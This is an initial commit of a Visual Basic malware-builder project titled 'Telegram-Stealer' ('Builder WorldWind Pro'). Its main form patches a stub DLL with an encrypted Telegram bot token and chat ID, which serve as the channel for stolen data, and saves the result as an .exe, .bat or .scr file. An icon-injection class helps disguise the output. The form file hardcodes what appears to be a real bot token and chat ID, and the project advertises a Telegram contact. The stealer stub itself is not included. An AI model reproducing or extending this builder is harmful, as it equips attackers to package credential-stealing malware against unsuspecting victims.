initial commit

Telegram-Stealer.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2012
+Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Telegram-Stealer", "Telegram-Stealer\Telegram-Stealer.vbproj", "{8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Telegram-Stealer/Aes256.vb

@@ -0,0 +1,103 @@
+Imports System
+Imports System.IO
+Imports System.Runtime.CompilerServices
+Imports System.Security.Cryptography
+Imports System.Text
+Namespace Server.Algorithm
+    Public Class Aes256
+        Public Sub New(masterKey As String)
+            If String.IsNullOrEmpty(masterKey) Then
+                Throw New ArgumentException("masterKey can not be null or empty.")
+            End If
+            Using rfc2898DeriveBytes As Rfc2898DeriveBytes = New Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000)
+                Me._key = rfc2898DeriveBytes.GetBytes(32)
+                Me._authKey = rfc2898DeriveBytes.GetBytes(64)
+            End Using
+        End Sub
+        Public Function Encrypt(input As String) As String
+            Return Convert.ToBase64String(Me.Encrypt(Encoding.UTF8.GetBytes(input)))
+        End Function
+        Public Function Encrypt(input As Byte()) As Byte()
+            If input Is Nothing Then
+                Throw New ArgumentNullException("input can not be null.")
+            End If
+            Dim result As Byte()
+            Using memoryStream As MemoryStream = New MemoryStream()
+                memoryStream.Position = 32L
+                Using aesCryptoServiceProvider As AesCryptoServiceProvider = New AesCryptoServiceProvider()
+                    aesCryptoServiceProvider.KeySize = 256
+                    aesCryptoServiceProvider.BlockSize = 128
+                    aesCryptoServiceProvider.Mode = CipherMode.CBC
+                    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7
+                    aesCryptoServiceProvider.Key = Me._key
+                    aesCryptoServiceProvider.GenerateIV()
+                    Using cryptoStream As CryptoStream = New CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write)
+                        memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length)
+                        cryptoStream.Write(input, 0, input.Length)
+                        cryptoStream.FlushFinalBlock()
+                        Using hMACSHA As HMACSHA256 = New HMACSHA256(Me._authKey)
+                            Dim array As Byte() = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32)
+                            memoryStream.Position = 0L
+                            memoryStream.Write(array, 0, array.Length)
+                        End Using
+                    End Using
+                End Using
+                result = memoryStream.ToArray()
+            End Using
+            Return result
+        End Function
+        Public Function Decrypt(input As String) As String
+            Return Encoding.UTF8.GetString(Me.Decrypt(Convert.FromBase64String(input)))
+        End Function
+        Public Function Decrypt(input As Byte()) As Byte()
+            If input Is Nothing Then
+                Throw New ArgumentNullException("input can not be null.")
+            End If
+            Dim result As Byte()
+            Using memoryStream As MemoryStream = New MemoryStream(input)
+                Using aesCryptoServiceProvider As AesCryptoServiceProvider = New AesCryptoServiceProvider()
+                    aesCryptoServiceProvider.KeySize = 256
+                    aesCryptoServiceProvider.BlockSize = 128
+                    aesCryptoServiceProvider.Mode = CipherMode.CBC
+                    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7
+                    aesCryptoServiceProvider.Key = Me._key
+                    Using hMACSHA As HMACSHA256 = New HMACSHA256(Me._authKey)
+                        Dim a As Byte() = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32)
+                        Dim array As Byte() = New Byte(31) {}
+                        memoryStream.Read(array, 0, array.Length)
+                        If Not Me.AreEqual(a, array) Then
+                            Throw New CryptographicException("Invalid message authentication code (MAC).")
+                        End If
+                    End Using
+                    Dim array2 As Byte() = New Byte(15) {}
+                    memoryStream.Read(array2, 0, 16)
+                    aesCryptoServiceProvider.IV = array2
+                    Using cryptoStream As CryptoStream = New CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read)
+                        Dim array3 As Byte() = New Byte(memoryStream.Length - 16L + 1L - 1) {}
+                        Dim array4 As Byte() = New Byte(cryptoStream.Read(array3, 0, array3.Length) - 1) {}
+                        Buffer.BlockCopy(array3, 0, array4, 0, array4.Length)
+                        result = array4
+                    End Using
+                End Using
+            End Using
+            Return result
+        End Function
+        <MethodImpl(MethodImplOptions.NoInlining Or MethodImplOptions.NoOptimization)>
+        Private Function AreEqual(a1 As Byte(), a2 As Byte()) As Boolean
+            Dim result As Boolean = True
+            For i As Integer = 0 To a1.Length - 1
+                If a1(i) <> a2(i) Then
+                    result = False
+                End If
+            Next
+            Return result
+        End Function
+        Private Const KeyLength As Integer = 32
+        Private Const AuthKeyLength As Integer = 64
+        Private Const IvLength As Integer = 16
+        Private Const HmacSha256Length As Integer = 32
+        Private _key As Byte()
+        Private _authKey As Byte()
+        Private Shared Salt As Byte() = New Byte() {191, 235, 30, 86, 251, 205, 151, 59, 178, 25, 2, 36, 48, 165, 120, 67, 0, 61, 86, 68, 210, 30, 98, 185, 212, 241, 128, 231, 230, 195, 57, 65}
+    End Class
+End Namespace

Telegram-Stealer/App.config

@@ -0,0 +1,6 @@
+<?xml version="1.0"?>
+<configuration>
+    <startup>
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5"/>
+    </startup>
+</configuration>

Telegram-Stealer/Form1.Designer.vb

@@ -0,0 +1,227 @@
+<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
+Partial Class Form1
+    Inherits System.Windows.Forms.Form
+
+    'Form overrides dispose to clean up the component list.
+    <System.Diagnostics.DebuggerNonUserCode()> _
+    Protected Overrides Sub Dispose(ByVal disposing As Boolean)
+        Try
+            If disposing AndAlso components IsNot Nothing Then
+                components.Dispose()
+            End If
+        Finally
+            MyBase.Dispose(disposing)
+        End Try
+    End Sub
+
+    'Required by the Windows Form Designer
+    Private components As System.ComponentModel.IContainer
+
+    'NOTE: The following procedure is required by the Windows Form Designer
+    'It can be modified using the Windows Form Designer.  
+    'Do not modify it using the code editor.
+    <System.Diagnostics.DebuggerStepThrough()> _
+    Private Sub InitializeComponent()
+        Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
+        Me.Button1 = New System.Windows.Forms.Button()
+        Me.TextBox1 = New System.Windows.Forms.TextBox()
+        Me.TextBox2 = New System.Windows.Forms.TextBox()
+        Me.Label1 = New System.Windows.Forms.Label()
+        Me.Label2 = New System.Windows.Forms.Label()
+        Me.PictureBox1 = New System.Windows.Forms.PictureBox()
+        Me.Icon = New System.Windows.Forms.CheckBox()
+        Me.exe = New System.Windows.Forms.ComboBox()
+        Me.ExeName = New System.Windows.Forms.TextBox()
+        Me.Label5 = New System.Windows.Forms.Label()
+        Me.GroupBox1 = New System.Windows.Forms.GroupBox()
+        Me.GroupBox2 = New System.Windows.Forms.GroupBox()
+        Me.PictureBox2 = New System.Windows.Forms.PictureBox()
+        Me.LinkLabel1 = New System.Windows.Forms.LinkLabel()
+        CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
+        Me.GroupBox1.SuspendLayout()
+        Me.GroupBox2.SuspendLayout()
+        CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit()
+        Me.SuspendLayout()
+        '
+        'Button1
+        '
+        Me.Button1.Location = New System.Drawing.Point(10, 262)
+        Me.Button1.Name = "Button1"
+        Me.Button1.Size = New System.Drawing.Size(304, 55)
+        Me.Button1.TabIndex = 0
+        Me.Button1.Text = "Build"
+        Me.Button1.UseVisualStyleBackColor = True
+        '
+        'TextBox1
+        '
+        Me.TextBox1.Location = New System.Drawing.Point(8, 34)
+        Me.TextBox1.Name = "TextBox1"
+        Me.TextBox1.Size = New System.Drawing.Size(290, 20)
+        Me.TextBox1.TabIndex = 1
+        Me.TextBox1.Text = "5049959266:AAFJQRcRFhUzXFoT4Bj40d1LFuM0IyNZ799"
+        '
+        'TextBox2
+        '
+        Me.TextBox2.Location = New System.Drawing.Point(67, 60)
+        Me.TextBox2.Name = "TextBox2"
+        Me.TextBox2.Size = New System.Drawing.Size(231, 20)
+        Me.TextBox2.TabIndex = 2
+        Me.TextBox2.Text = "5038570399"
+        '
+        'Label1
+        '
+        Me.Label1.AutoSize = True
+        Me.Label1.Location = New System.Drawing.Point(9, 64)
+        Me.Label1.Name = "Label1"
+        Me.Label1.Size = New System.Drawing.Size(51, 13)
+        Me.Label1.TabIndex = 3
+        Me.Label1.Text = "Chat_id :"
+        '
+        'Label2
+        '
+        Me.Label2.AutoSize = True
+        Me.Label2.Location = New System.Drawing.Point(6, 16)
+        Me.Label2.Name = "Label2"
+        Me.Label2.Size = New System.Drawing.Size(62, 13)
+        Me.Label2.TabIndex = 4
+        Me.Label2.Text = "Token bot :"
+        '
+        'PictureBox1
+        '
+        Me.PictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
+        Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image)
+        Me.PictureBox1.Location = New System.Drawing.Point(10, 12)
+        Me.PictureBox1.Name = "PictureBox1"
+        Me.PictureBox1.Size = New System.Drawing.Size(304, 86)
+        Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
+        Me.PictureBox1.TabIndex = 5
+        Me.PictureBox1.TabStop = False
+        '
+        'Icon
+        '
+        Me.Icon.AutoSize = True
+        Me.Icon.Location = New System.Drawing.Point(247, 12)
+        Me.Icon.Name = "Icon"
+        Me.Icon.Size = New System.Drawing.Size(47, 17)
+        Me.Icon.TabIndex = 6
+        Me.Icon.Text = "Icon"
+        Me.Icon.UseVisualStyleBackColor = True
+        '
+        'exe
+        '
+        Me.exe.BackColor = System.Drawing.SystemColors.Control
+        Me.exe.FlatStyle = System.Windows.Forms.FlatStyle.Flat
+        Me.exe.FormattingEnabled = True
+        Me.exe.Items.AddRange(New Object() {".exe", ".bat", ".Scr"})
+        Me.exe.Location = New System.Drawing.Point(247, 33)
+        Me.exe.Name = "exe"
+        Me.exe.Size = New System.Drawing.Size(51, 21)
+        Me.exe.TabIndex = 11
+        Me.exe.Text = ".exe"
+        '
+        'ExeName
+        '
+        Me.ExeName.BackColor = System.Drawing.SystemColors.Control
+        Me.ExeName.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
+        Me.ExeName.Location = New System.Drawing.Point(9, 34)
+        Me.ExeName.Name = "ExeName"
+        Me.ExeName.Size = New System.Drawing.Size(233, 20)
+        Me.ExeName.TabIndex = 13
+        Me.ExeName.Text = "Server"
+        '
+        'Label5
+        '
+        Me.Label5.AutoSize = True
+        Me.Label5.Location = New System.Drawing.Point(9, 16)
+        Me.Label5.Name = "Label5"
+        Me.Label5.Size = New System.Drawing.Size(55, 13)
+        Me.Label5.TabIndex = 12
+        Me.Label5.Text = "Exe Name"
+        '
+        'GroupBox1
+        '
+        Me.GroupBox1.Controls.Add(Me.Label2)
+        Me.GroupBox1.Controls.Add(Me.TextBox1)
+        Me.GroupBox1.Controls.Add(Me.TextBox2)
+        Me.GroupBox1.Controls.Add(Me.Label1)
+        Me.GroupBox1.FlatStyle = System.Windows.Forms.FlatStyle.System
+        Me.GroupBox1.Location = New System.Drawing.Point(10, 104)
+        Me.GroupBox1.Name = "GroupBox1"
+        Me.GroupBox1.Size = New System.Drawing.Size(304, 93)
+        Me.GroupBox1.TabIndex = 14
+        Me.GroupBox1.TabStop = False
+        '
+        'GroupBox2
+        '
+        Me.GroupBox2.Controls.Add(Me.exe)
+        Me.GroupBox2.Controls.Add(Me.Icon)
+        Me.GroupBox2.Controls.Add(Me.Label5)
+        Me.GroupBox2.Controls.Add(Me.ExeName)
+        Me.GroupBox2.FlatStyle = System.Windows.Forms.FlatStyle.System
+        Me.GroupBox2.Location = New System.Drawing.Point(10, 196)
+        Me.GroupBox2.Name = "GroupBox2"
+        Me.GroupBox2.Size = New System.Drawing.Size(304, 64)
+        Me.GroupBox2.TabIndex = 15
+        Me.GroupBox2.TabStop = False
+        '
+        'PictureBox2
+        '
+        Me.PictureBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
+        Me.PictureBox2.Location = New System.Drawing.Point(211, 296)
+        Me.PictureBox2.Name = "PictureBox2"
+        Me.PictureBox2.Size = New System.Drawing.Size(26, 21)
+        Me.PictureBox2.TabIndex = 14
+        Me.PictureBox2.TabStop = False
+        '
+        'LinkLabel1
+        '
+        Me.LinkLabel1.AutoSize = True
+        Me.LinkLabel1.Location = New System.Drawing.Point(49, 321)
+        Me.LinkLabel1.Name = "LinkLabel1"
+        Me.LinkLabel1.Size = New System.Drawing.Size(246, 13)
+        Me.LinkLabel1.TabIndex = 16
+        Me.LinkLabel1.TabStop = True
+        Me.LinkLabel1.Text = "Contact Developer : https://t.me/clean_tools_net"
+        '
+        'Form1
+        '
+        Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
+        Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
+        Me.ClientSize = New System.Drawing.Size(324, 340)
+        Me.Controls.Add(Me.LinkLabel1)
+        Me.Controls.Add(Me.GroupBox1)
+        Me.Controls.Add(Me.PictureBox1)
+        Me.Controls.Add(Me.Button1)
+        Me.Controls.Add(Me.GroupBox2)
+        Me.Controls.Add(Me.PictureBox2)
+        Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
+        Me.MaximizeBox = false
+        Me.Name = "Form1"
+        Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
+        Me.Text = "Builder WorldWind Pro"
+        CType(Me.PictureBox1,System.ComponentModel.ISupportInitialize).EndInit
+        Me.GroupBox1.ResumeLayout(false)
+        Me.GroupBox1.PerformLayout
+        Me.GroupBox2.ResumeLayout(false)
+        Me.GroupBox2.PerformLayout
+        CType(Me.PictureBox2,System.ComponentModel.ISupportInitialize).EndInit
+        Me.ResumeLayout(false)
+        Me.PerformLayout
+
+End Sub
+    Friend WithEvents Button1 As System.Windows.Forms.Button
+    Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
+    Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
+    Friend WithEvents Label1 As System.Windows.Forms.Label
+    Friend WithEvents Label2 As System.Windows.Forms.Label
+    Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
+    Friend WithEvents Icon As System.Windows.Forms.CheckBox
+    Friend WithEvents exe As System.Windows.Forms.ComboBox
+    Friend WithEvents ExeName As System.Windows.Forms.TextBox
+    Friend WithEvents Label5 As System.Windows.Forms.Label
+    Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox
+    Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox
+    Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox
+    Friend WithEvents LinkLabel1 As System.Windows.Forms.LinkLabel
+
+End Class

Telegram-Stealer/Form1.vb

@@ -0,0 +1,92 @@
+Imports Mono.Cecil
+Imports Mono.Cecil.Cil
+Imports System.IO
+Imports System
+Imports System.Collections
+Imports System.Collections.Generic
+Imports System.ComponentModel
+Imports System.Diagnostics
+Imports System.Drawing
+Imports System.Linq
+Imports System.Runtime.CompilerServices
+Imports System.Security.Cryptography
+Imports System.Security.Cryptography.X509Certificates
+Imports System.Text
+Imports System.Windows.Forms
+Imports Builder_WorldWind_Pro.Server.Algorithm
+Public Class Form1
+    'https://t.me/clean_tools_net
+    Dim ic = Nothing
+    Dim randomString As String = "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z"
+    Dim aes As Aes256 = New Aes256(randomString)
+    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
+        If Not File.Exists((Application.StartupPath & "\Stub.dll")) Then
+            Interaction.MsgBox("Stub not found", MsgBoxStyle.ApplicationModal, Nothing)
+        Else
+            Dim definition As AssemblyDefinition = AssemblyDefinition.ReadAssembly((Application.StartupPath & "\Stub.dll"))
+            Dim definition2 As ModuleDefinition
+            For Each definition2 In definition.Modules
+                Dim definition3 As TypeDefinition
+                For Each definition3 In definition2.Types
+                    Dim definition4 As MethodDefinition
+                    For Each definition4 In definition3.Methods
+                        If (definition4.IsConstructor AndAlso definition4.HasBody) Then
+                            Dim enumerator As IEnumerator(Of Instruction)
+                            Try
+                                enumerator = definition4.Body.Instructions.GetEnumerator
+                                Do While enumerator.MoveNext
+                                    Dim current As Instruction = enumerator.Current
+                                    If ((current.OpCode.Code = Code.Ldstr) And (Not current.Operand Is Nothing)) Then
+
+                                        Dim str As String = current.Operand.ToString
+                                        If (str = "[bot]") Then
+                                            current.Operand = aes.Encrypt(Me.TextBox1.Text)
+                                        Else
+                                            If (str = "[ID]") Then
+                                                current.Operand = aes.Encrypt(Me.TextBox2.Text)
+                                                Continue Do
+                                            End If
+                                        End If
+                                    End If
+                                Loop
+                            Finally
+                                enumerator.Dispose()
+                            End Try
+                        End If
+                    Next
+
+                Next
+            Next
+
+            Dim dialog As New SaveFileDialog With { _
+            .FileName = ExeName.Text & Me.exe.Text, _
+                .Filter = "EXE|*.exe" _
+            }
+            If Me.Icon.Checked Then
+                Ico.InjectIcon(dialog.FileName, Me.ic)
+            End If
+            If (dialog.ShowDialog = DialogResult.OK) Then
+                definition.Write(dialog.FileName)
+                Interaction.MsgBox(dialog.FileName, MsgBoxStyle.ApplicationModal, "Done :)")
+            End If
+            dialog = Nothing
+        End If
+    End Sub
+    Private Sub Icon_CheckedChanged(sender As Object, e As EventArgs) Handles Icon.CheckedChanged
+        If Me.Icon.Checked Then
+            Dim dialog As New OpenFileDialog
+            dialog.Filter = "Icon|*.ico"
+            dialog.Title = "Choose Icon"
+            dialog.FileName = ""
+            If (dialog.ShowDialog = DialogResult.OK) Then
+                Me.ic = dialog.FileName
+                Me.PictureBox2.Image = Image.FromFile(Me.ic)
+            End If
+        Else
+            Me.PictureBox2.Image = Nothing
+        End If
+    End Sub
+    Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
+        Process.Start("https://t.me/clean_tools_net")
+    End Sub
+End Class

Telegram-Stealer/Ico.vb

@@ -0,0 +1,148 @@
+Imports System.Runtime.InteropServices
+Imports System.Security
+Public Class Ico
+    <SuppressUnmanagedCodeSecurity()> _
+    Private Class NativeMethods
+        <DllImport("kernel32")> _
+        Public Shared Function BeginUpdateResource( _
+            ByVal fileName As String, _
+            <MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
+        End Function
+        <DllImport("kernel32")> _
+        Public Shared Function UpdateResource( _
+            ByVal hUpdate As IntPtr, _
+            ByVal type As IntPtr, _
+            ByVal name As IntPtr, _
+            ByVal language As Short, _
+            <MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
+            ByVal data() As Byte, _
+            ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
+        End Function
+        <DllImport("kernel32")> _
+        Public Shared Function EndUpdateResource( _
+            ByVal hUpdate As IntPtr, _
+            <MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
+        End Function
+    End Class
+    <StructLayout(LayoutKind.Sequential)> _
+    Private Structure ICONDIR
+        Public Reserved As UShort
+        Public Type As UShort
+        Public Count As UShort
+    End Structure
+    <StructLayout(LayoutKind.Sequential)> _
+    Private Structure ICONDIRENTRY
+        Public Width As Byte
+        Public Height As Byte
+        Public ColorCount As Byte
+        Public Reserved As Byte
+        Public Planes As UShort
+        Public BitCount As UShort
+        Public BytesInRes As Integer
+        Public ImageOffset As Integer
+    End Structure
+    <StructLayout(LayoutKind.Sequential)> _
+    Private Structure BITMAPINFOHEADER
+        Public Size As UInteger
+        Public Width As Integer
+        Public Height As Integer
+        Public Planes As UShort
+        Public BitCount As UShort
+        Public Compression As UInteger
+        Public SizeImage As UInteger
+        Public XPelsPerMeter As Integer
+        Public YPelsPerMeter As Integer
+        Public ClrUsed As UInteger
+        Public ClrImportant As UInteger
+    End Structure
+    <StructLayout(LayoutKind.Sequential, Pack:=2)> _
+    Private Structure GRPICONDIRENTRY
+        Public Width As Byte
+        Public Height As Byte
+        Public ColorCount As Byte
+        Public Reserved As Byte
+        Public Planes As UShort
+        Public BitCount As UShort
+        Public BytesInRes As Integer
+        Public ID As UShort
+    End Structure
+    Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
+        InjectIcon(exeFileName, iconFileName, 1, 1)
+    End Sub
+    Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
+        Const RT_ICON = 3UI
+        Const RT_GROUP_ICON = 14UI
+        Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
+        Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
+        Dim data = iconFile.CreateIconGroupData(iconBaseID)
+        NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
+        For i = 0 To iconFile.ImageCount - 1
+            Dim image = iconFile.ImageData(i)
+            NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
+        Next
+        NativeMethods.EndUpdateResource(hUpdate, False)
+    End Sub
+    Private Class IconFile
+        Private iconDir As New ICONDIR
+        Private iconEntry() As ICONDIRENTRY
+        Private iconImage()() As Byte
+        Public ReadOnly Property ImageCount() As Integer
+            Get
+                Return iconDir.Count
+            End Get
+        End Property
+        Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
+            Get
+                Return iconImage(index)
+            End Get
+        End Property
+        Private Sub New()
+        End Sub
+        Public Shared Function FromFile(ByVal filename As String) As IconFile
+            Dim instance As New IconFile
+            Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
+            Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
+            instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
+            instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
+            instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
+            Dim offset = Marshal.SizeOf(instance.iconDir)
+            Dim iconDirEntryType = GetType(ICONDIRENTRY)
+            Dim size = Marshal.SizeOf(iconDirEntryType)
+            For i = 0 To instance.iconDir.Count - 1
+                Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
+                instance.iconEntry(i) = entry
+                instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
+                Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
+                offset += size
+            Next
+            pinnedBytes.Free()
+            Return instance
+        End Function
+        Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
+            Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
+            Dim data(sizeOfIconGroupData - 1) As Byte
+            Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
+            Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
+            Dim offset = Marshal.SizeOf(iconDir)
+            For i = 0 To ImageCount - 1
+                Dim grpEntry As New GRPICONDIRENTRY
+                Dim bitmapheader As New BITMAPINFOHEADER
+                Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
+                Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
+                pinnedBitmapInfoHeader.Free()
+                grpEntry.Width = iconEntry(i).Width
+                grpEntry.Height = iconEntry(i).Height
+                grpEntry.ColorCount = iconEntry(i).ColorCount
+                grpEntry.Reserved = iconEntry(i).Reserved
+                grpEntry.Planes = bitmapheader.Planes
+                grpEntry.BitCount = bitmapheader.BitCount
+                grpEntry.BytesInRes = iconEntry(i).BytesInRes
+                grpEntry.ID = CType(iconBaseID + i, UShort)
+                Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
+                offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
+            Next
+            pinnedData.Free()
+            Return data
+        End Function
+    End Class
+End Class

Telegram-Stealer/My Project/Application.Designer.vb

@@ -0,0 +1,38 @@
+'------------------------------------------------------------------------------
+' <auto-generated>
+'     This code was generated by a tool.
+'     Runtime Version:4.0.30319.42000
+'
+'     Changes to this file may cause incorrect behavior and will be lost if
+'     the code is regenerated.
+' </auto-generated>
+'------------------------------------------------------------------------------
+
+Option Strict On
+Option Explicit On
+
+
+Namespace My
+    
+    'NOTE: This file is auto-generated; do not modify it directly.  To make changes,
+    ' or if you encounter build errors in this file, go to the Project Designer
+    ' (go to Project Properties or double-click the My Project node in
+    ' Solution Explorer), and make changes on the Application tab.
+    '
+    Partial Friend Class MyApplication
+        
+        <Global.System.Diagnostics.DebuggerStepThroughAttribute()>  _
+        Public Sub New()
+            MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
+            Me.IsSingleInstance = false
+            Me.EnableVisualStyles = true
+            Me.SaveMySettingsOnExit = true
+            Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
+        End Sub
+        
+        <Global.System.Diagnostics.DebuggerStepThroughAttribute()>  _
+        Protected Overrides Sub OnCreateMainForm()
+            Me.MainForm = Global.Builder_WorldWind_Pro.Form1
+        End Sub
+    End Class
+End Namespace

Telegram-Stealer/My Project/Application.myapp

@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="utf-8"?>
+<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
+  <MySubMain>true</MySubMain>
+  <MainForm>Form1</MainForm>
+  <SingleInstance>false</SingleInstance>
+  <ShutdownMode>0</ShutdownMode>
+  <EnableVisualStyles>true</EnableVisualStyles>
+  <AuthenticationMode>0</AuthenticationMode>
+  <SaveMySettingsOnExit>true</SaveMySettingsOnExit>
+</MyApplicationData>

Telegram-Stealer/My Project/AssemblyInfo.vb

@@ -0,0 +1,35 @@
+Imports System
+Imports System.Reflection
+Imports System.Runtime.InteropServices
+
+' General Information about an assembly is controlled through the following 
+' set of attributes. Change these attribute values to modify the information
+' associated with an assembly.
+
+' Review the values of the assembly attributes
+
+<Assembly: AssemblyTitle("https://t.me/clean_tools_net")> 
+<Assembly: AssemblyDescription("https://t.me/clean_tools_net")> 
+<Assembly: AssemblyCompany("https://t.me/clean_tools_net")> 
+<Assembly: AssemblyProduct("https://t.me/clean_tools_net")> 
+<Assembly: AssemblyCopyright("Copyright ©  1999")> 
+<Assembly: AssemblyTrademark("Copyright ©  1999")> 
+
+<Assembly: ComVisible(False)>
+
+'The following GUID is for the ID of the typelib if this project is exposed to COM
+<Assembly: Guid("3aa7b6fd-9643-4b28-852b-e1a104e0c401")> 
+
+' Version information for an assembly consists of the following four values:
+'
+'      Major Version
+'      Minor Version 
+'      Build Number
+'      Revision
+'
+' You can specify all the values or you can default the Build and Revision Numbers 
+' by using the '*' as shown below:
+' <Assembly: AssemblyVersion("1.0.*")> 
+
+<Assembly: AssemblyVersion("1.9.9.9")> 
+<Assembly: AssemblyFileVersion("1.9.9.9")> 

Telegram-Stealer/My Project/Resources.Designer.vb

@@ -0,0 +1,63 @@
+'------------------------------------------------------------------------------
+' <auto-generated>
+'     This code was generated by a tool.
+'     Runtime Version:4.0.30319.42000
+'
+'     Changes to this file may cause incorrect behavior and will be lost if
+'     the code is regenerated.
+' </auto-generated>
+'------------------------------------------------------------------------------
+
+Option Strict On
+Option Explicit On
+
+Imports System
+
+Namespace My.Resources
+    
+    'This class was auto-generated by the StronglyTypedResourceBuilder
+    'class via a tool like ResGen or Visual Studio.
+    'To add or remove a member, edit your .ResX file then rerun ResGen
+    'with the /str option, or rebuild your VS project.
+    '''<summary>
+    '''  A strongly-typed resource class, for looking up localized strings, etc.
+    '''</summary>
+    <Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"),  _
+     Global.System.Diagnostics.DebuggerNonUserCodeAttribute(),  _
+     Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(),  _
+     Global.Microsoft.VisualBasic.HideModuleNameAttribute()>  _
+    Friend Module Resources
+        
+        Private resourceMan As Global.System.Resources.ResourceManager
+        
+        Private resourceCulture As Global.System.Globalization.CultureInfo
+        
+        '''<summary>
+        '''  Returns the cached ResourceManager instance used by this class.
+        '''</summary>
